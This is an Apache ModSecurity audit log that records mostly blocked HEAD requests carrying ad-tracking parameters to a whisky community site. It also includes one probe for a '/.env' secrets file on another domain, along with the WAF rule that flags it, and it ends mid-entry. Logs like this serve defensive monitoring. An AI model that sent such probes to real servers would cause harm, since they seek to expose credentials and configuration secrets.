X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--600a5c35-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--600a5c35-E--
--600a5c35-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595955127 6947 (- - -)
Stopwatch2: 1789273595955127 6947; combined=4599, p1=224, p2=4014, p3=84, p4=7, p5=270, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--600a5c35-Z--
--4832ce78-A--
[13/Sep/2026:07:26:36.351693 +0300] aqYl-GM7dE9KgIIOpQhh3AAAAMA 151.243.174.132 59772 127.0.0.1 7081
--4832ce78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--4832ce78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--4832ce78-E--
--4832ce78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273596342113 9632 (- - -)
Stopwatch2: 1789273596342113 9632; combined=6312, p1=1353, p2=4467, p3=72, p4=7, p5=412, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4832ce78-Z--
--f826b53c-A--
[13/Sep/2026:07:26:37.456424 +0300] aqYl-Uwu1RSkptiiNIXvyQAAAJY 151.243.174.22 59834 127.0.0.1 7081
--f826b53c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f826b53c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f826b53c-E--
--f826b53c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273597450788 5694 (- - -)
Stopwatch2: 1789273597450788 5694; combined=4198, p1=194, p2=3652, p3=73, p4=6, p5=273, sr=80, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f826b53c-Z--
--f5869904-A--
[13/Sep/2026:07:26:37.637573 +0300] aqYl-WM7dE9KgIIOpQhh3wAAAMc 95.134.102.250 59836 127.0.0.1 7081
--f5869904-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f5869904-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f5869904-E--
--f5869904-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273597631332 6328 (- - -)
Stopwatch2: 1789273597631332 6328; combined=4645, p1=260, p2=4072, p3=62, p4=7, p5=243, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f5869904-Z--
--5fe0fc49-A--
[13/Sep/2026:07:26:38.080224 +0300] aqYl-mM7dE9KgIIOpQhh4AAAANU 95.134.102.51 59850 127.0.0.1 7081
--5fe0fc49-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.51
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5fe0fc49-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5fe0fc49-E--
--5fe0fc49-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273598073537 6733 (- - -)
Stopwatch2: 1789273598073537 6733; combined=4897, p1=327, p2=4163, p3=119, p4=8, p5=280, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5fe0fc49-Z--
--d5f66342-A--
[13/Sep/2026:07:26:48.394446 +0300] aqYmCGM7dE9KgIIOpQhh8AAAAMQ 162.243.61.206 50488 127.0.0.1 7081
--d5f66342-B--
GET /.env HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br
--d5f66342-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d5f66342-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/.env"] [unique_id "aqYmCGM7dE9KgIIOpQhh8AAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789273608279123 115409 (- - -)
Stopwatch2: 1789273608279123 115409; combined=23494, p1=257, p2=3892, p3=0, p4=0, p5=9714, sr=115, sw=1, l=0, gc=9630
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d5f66342-Z--
--162b0c7a-A--
[13/Sep/2026:07:26:49.305977 +0300] aqYmCTTJ6xTvcJoem7f2cwAAAFM 95.134.102.38 50508 127.0.0.1 7081
--162b0c7a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.38
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--162b0c7a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--162b0c7a-E--
--162b0c7a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273609297879 8137 (- - -)
Stopwatch2: 1789273609297879 8137; combined=4408, p1=265, p2=3799, p3=74, p4=7, p5=263, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--162b0c7a-Z--
--ec692d5a-A--
[13/Sep/2026:07:26:49.676082 +0300] aqYmCTTJ6xTvcJoem7f2dAAAAEM 151.243.174.234 50522 127.0.0.1 7081
--ec692d5a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--ec692d5a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ec692d5a-E--
--ec692d5a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273609669973 6149 (- - -)
Stopwatch2: 1789273609669973 6149; combined=4666, p1=240, p2=4029, p3=83, p4=8, p5=306, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ec692d5a-Z--
--abae283d-A--
[13/Sep/2026:07:26:50.061482 +0300] aqYmCmM7dE9KgIIOpQhh8QAAAMM 95.134.102.107 50524 127.0.0.1 7081
--abae283d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.107
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--abae283d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--abae283d-E--
--abae283d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273610055428 6099 (- - -)
Stopwatch2: 1789273610055428 6099; combined=4441, p1=257, p2=3864, p3=63, p4=7, p5=250, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--abae283d-Z--
--d97c4642-A--
[13/Sep/2026:07:26:56.931417 +0300] aqYmEGM7dE9KgIIOpQhh9QAAAMs 95.134.102.227 59496 127.0.0.1 7081
--d97c4642-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.227
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d97c4642-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d97c4642-E--
--d97c4642-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273616924290 7176 (- - -)
Stopwatch2: 1789273616924290 7176; combined=4892, p1=241, p2=4248, p3=70, p4=8, p5=325, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d97c4642-Z--
--f570ce04-A--
[13/Sep/2026:07:26:57.035919 +0300] aqYmEUwu1RSkptiiNIXvzwAAAJA 95.134.102.147 59498 127.0.0.1 7081
--f570ce04-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f570ce04-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f570ce04-E--
--f570ce04-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617030350 5619 (- - -)
Stopwatch2: 1789273617030350 5619; combined=4082, p1=246, p2=3333, p3=71, p4=8, p5=424, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f570ce04-Z--
--8c939b20-A--
[13/Sep/2026:07:26:57.411485 +0300] aqYmEWM7dE9KgIIOpQhh9gAAAMw 95.134.102.132 59502 127.0.0.1 7081
--8c939b20-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8c939b20-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8c939b20-E--
--8c939b20-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617405572 5969 (- - -)
Stopwatch2: 1789273617405572 5969; combined=4503, p1=270, p2=3875, p3=73, p4=7, p5=278, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8c939b20-Z--
--6014395f-A--
[13/Sep/2026:07:26:57.470331 +0300] aqYmEWM7dE9KgIIOpQhh9wAAAM8 151.243.174.109 59510 127.0.0.1 7081
--6014395f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--6014395f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6014395f-E--
--6014395f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617464167 6252 (- - -)
Stopwatch2: 1789273617464167 6252; combined=4535, p1=263, p2=3854, p3=70, p4=7, p5=341, sr=122, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6014395f-Z--
--87788013-A--
[13/Sep/2026:07:26:57.747130 +0300] aqYmEWM7dE9KgIIOpQhh@AAAAMo 151.243.174.142 59514 127.0.0.1 7081
--87788013-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--87788013-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--87788013-E--
--87788013-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617741289 5882 (- - -)
Stopwatch2: 1789273617741289 5882; combined=4388, p1=318, p2=3695, p3=93, p4=7, p5=275, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--87788013-Z--
--b1d28244-A--
[13/Sep/2026:07:26:57.848131 +0300] aqYmEWM7dE9KgIIOpQhh@gAAANU 95.134.102.26 59534 127.0.0.1 7081
--b1d28244-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.26
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--b1d28244-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b1d28244-E--
--b1d28244-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617840867 7313 (- - -)
Stopwatch2: 1789273617840867 7313; combined=5855, p1=233, p2=5195, p3=115, p4=7, p5=305, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b1d28244-Z--
--fb705767-A--
[13/Sep/2026:07:26:57.857951 +0300] aqYmESsVWymXUono-eRRQQAAAA4 95.134.102.237 59538 127.0.0.1 7081
--fb705767-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.237
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--fb705767-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--fb705767-E--
--fb705767-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617852428 5569 (- - -)
Stopwatch2: 1789273617852428 5569; combined=4125, p1=251, p2=3522, p3=67, p4=6, p5=279, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb705767-Z--
--de18ab7f-A--
[13/Sep/2026:07:26:57.921515 +0300] aqYmEWM7dE9KgIIOpQhh@wAAANM 151.243.174.201 59540 127.0.0.1 7081
--de18ab7f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--de18ab7f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--de18ab7f-E--
--de18ab7f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617914230 7329 (- - -)
Stopwatch2: 1789273617914230 7329; combined=5121, p1=252, p2=4511, p3=69, p4=7, p5=281, sr=118, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--de18ab7f-Z--
--b8ee1532-A--
[13/Sep/2026:07:26:58.040708 +0300] aqYmEkwu1RSkptiiNIXv0AAAAIQ 151.243.174.234 59554 127.0.0.1 7081
--b8ee1532-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--b8ee1532-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b8ee1532-E--
--b8ee1532-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273618032765 7991 (- - -)
Stopwatch2: 1789273618032765 7991; combined=6558, p1=239, p2=5874, p3=78, p4=7, p5=360, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b8ee1532-Z--
--5ae79e42-A--
[13/Sep/2026:07:26:58.133378 +0300] aqYmEmM7dE9KgIIOpQhh-QAAAMQ 95.134.102.178 59582 127.0.0.1 7081
--5ae79e42-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
